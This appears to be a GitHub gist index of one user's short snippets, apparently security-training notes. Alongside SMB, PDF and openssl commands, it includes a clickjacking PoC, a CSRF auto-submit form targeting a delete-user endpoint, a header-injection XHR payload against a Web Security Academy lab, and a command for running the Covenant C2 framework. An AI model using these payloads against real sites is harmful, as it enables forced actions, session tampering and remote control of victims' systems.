Skip to content

Instantly share code, notes, and snippets.

@leveled
leveled / smb_over_linux.sh
Created January 20, 2021 14:58
Interacting with SMB over Linux
#List available shares
smbclient -U pastudent37 -W usfun -L windows.lab
#Interact with share
smbclient -U pastudent37 -W usfun \\\\windows.lab\\shared
@leveled
leveled / convert_pdf_to_png.sh
Created January 20, 2021 13:08
Converting a PDF to a PNG on Linux
sudo apt-get install poppler-utils
pdftoppm -png document.pdf document
#range of pages
pdftoppm -png -f 5 -l 15 document.pdf document
#change resolution
pdftoppm -png -rx 300 -ry 300 document.pdf document
@leveled
leveled / decrypt_with_openssl.sh
Created January 19, 2021 13:20
decrypt with openssl
echo 'U2FsdGVkX1/QGdl4syQE8bLFSr2HzoAlcG299U/T/Xk=' | openssl aes-256-cbc -a -d -salt
@leveled
leveled / encrypt_with_openssl.sh
Last active January 19, 2021 13:24
Encrypt file with openssl
echo -n "aaaabbbbccccdddd" | openssl aes-256-cbc -a -salt
@leveled
leveled / clickjacking_poc.html
Created January 19, 2021 01:23
Basic Clickjacking PoC
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
@leveled
leveled / xhr_updated.html
Last active January 22, 2021 18:28
XHR request - updated
<script>
const xhr = new XMLHttpRequest();
var url = "https://ac4d1fc41e36a25980e119df00010089.web-security-academy.net/?search=whoami%0aSet-Cookie:%20csrfKey=w2odvLHxDvlfyVclGjK5nM99d2KZY6MG";
xhr.open("GET", url);
xhr.send();
xhr.onload = () => {
if (xhr.status === 200){
@leveled
leveled / autosubmit_form.html
Created January 18, 2021 20:41
Autosubmit Form CSRF PoC
<html>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
<form id="myForm" name="myForm" action="http://example.com/deleteuser.php" method="POST">
<input type=hidden name="val1" id="val1" value="value1"/>
<input type=hidden name="val2" id="val2" value="value2"/>
<input type=hidden name="val3" id="val3" value="value3"/>
<input type=hidden name="submit" id="submit" value="Continue"/>
</form>
</body>
</html>
@leveled
leveled / bash_showcasing_xargs
Created January 17, 2021 19:11
Some complex bash showcasing xargs
ls -d ~/Downloads/*.bin | grep -i grunt | tr "\n" " " | xargs -I "{}" pipe_select {} | xargs -I "{}" ls -la {}
@leveled
leveled / print_commands_from_history.sh
Created January 17, 2021 18:54
Print commands from history on Linux
fc -s 3060 2>&1
@leveled
leveled / run_covenant_with_ports_exposed.sh
Created January 16, 2021 18:28
Run covenant with ports properly exposed
docker run -it -p 127.0.0.1:7443:7443 -p 80:80 -p 443:443 --name covenant -v $PWD/Covenant/Covenant/Data:/app/Data covenant
#Open a browser and navigate to localhost:7443